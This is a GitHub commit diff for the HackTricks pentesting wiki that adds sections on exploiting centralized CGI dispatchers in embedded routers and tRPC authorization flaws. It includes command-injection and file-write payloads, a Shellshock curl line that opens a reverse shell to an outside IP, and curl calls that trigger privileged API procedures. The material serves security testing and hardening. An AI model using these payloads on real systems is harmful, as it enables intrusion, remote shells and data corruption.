Skip to content

Commit 425badf

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 238e7c3 + 92cfae4 commit 425badf

File tree

6 files changed

+239
-65
lines changed

6 files changed

+239
-65
lines changed

src/linux-hardening/privilege-escalation/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ You can check if the sudo version is vulnerable using this grep.
8383
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
8484
```
8585

86-
#### sudo < v1.28
86+
#### sudo < v1.8.28
8787

8888
From @sickrov
8989

src/network-services-pentesting/pentesting-web/cgi.md

Lines changed: 36 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -59,11 +59,37 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
5959
> run
6060
```
6161

62-
## **Proxy \(MitM to Web server requests\)**
62+
## Centralized CGI dispatchers (single endpoint routing via selector parameters)
6363

64-
CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
64+
Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, `/cgi-bin/cstecgi.cgi`) and use a selector parameter such as `topicurl=<handler>` to route the request to an internal function.
6565

66-
As the HTTP_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" and if the server performs any request during the session. You will be able to capture each request made by the server.
66+
Methodology to exploit these routers:
67+
68+
- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
69+
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
70+
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
71+
72+
Generic exploit shapes:
73+
74+
```http
75+
POST /cgi-bin/cstecgi.cgi HTTP/1.1
76+
Content-Type: application/x-www-form-urlencoded
77+
78+
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
79+
topicurl=<handler>&param=-n
80+
81+
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
82+
topicurl=setEasyMeshAgentCfg&agentName=;id;
83+
84+
# 3) Validator bypass → arbitrary file write in file-touching handlers
85+
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
86+
```
87+
88+
Detection and hardening:
89+
90+
- Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers.
91+
- Flag parameters that begin with `-` (argv option injection attempts).
92+
- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
6793

6894
## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
6995

@@ -80,8 +106,14 @@ curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:500
80106

81107
**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
82108

109+
## **Proxy \(MitM to Web server requests\)**
83110

84-
{{#include ../../banners/hacktricks-training.md}}
111+
CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
112+
113+
As the HTTP_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" and if the server performs any request during the session. You will be able to capture each request made by the server.
85114

115+
## **References**
86116

117+
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
87118

119+
{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/web-api-pentesting.md

Lines changed: 48 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,53 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
2828
- **Advanced Parameter Techniques**: Test with unexpected data types in JSON payloads or play with XML data for XXE injections. Also, try parameter pollution and wildcard characters for broader testing.
2929
- **Version Testing**: Older API versions might be more susceptible to attacks. Always check for and test against multiple API versions.
3030

31+
### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
32+
33+
Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, `protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by `protectedProcedure`.
34+
35+
- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control).
36+
- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability.
37+
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
38+
39+
Example vulnerable pattern (no role/permission gate):
40+
41+
```ts
42+
// The endpoint for retrying a migration job
43+
// This checks for a valid session (authentication)
44+
retry: protectedProcedure
45+
// but not for an admin role (authorization).
46+
.input(z.object({ name: z.string() }))
47+
.mutation(async ({ input, ctx }) => {
48+
// Logic to restart a sensitive migration
49+
}),
50+
```
51+
52+
Practical exploitation (black-box)
53+
54+
1) Register a normal account and obtain an authenticated session (cookies/headers).
55+
2) Enumerate background jobs or other sensitive resources via “list”/“all”/“status” procedures.
56+
57+
```bash
58+
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
59+
-H 'Content-Type: application/json' \
60+
-b '<AUTH_COOKIES>' \
61+
--data '{"input":{}}'
62+
```
63+
64+
3) Invoke privileged actions such as restarting a job:
65+
66+
```bash
67+
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
68+
-H 'Content-Type: application/json' \
69+
-b '<AUTH_COOKIES>' \
70+
--data '{"input":{"name":"<migration_name>"}}'
71+
```
72+
73+
Impact to assess
74+
75+
- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
76+
- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.
77+
3178
### **Tools and Resources for API Pentesting**
3279

3380
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
@@ -53,8 +100,6 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
53100
## References
54101

55102
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
103+
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
56104

57105
{{#include ../../banners/hacktricks-training.md}}
58-
59-
60-

0 commit comments

Comments
 (0)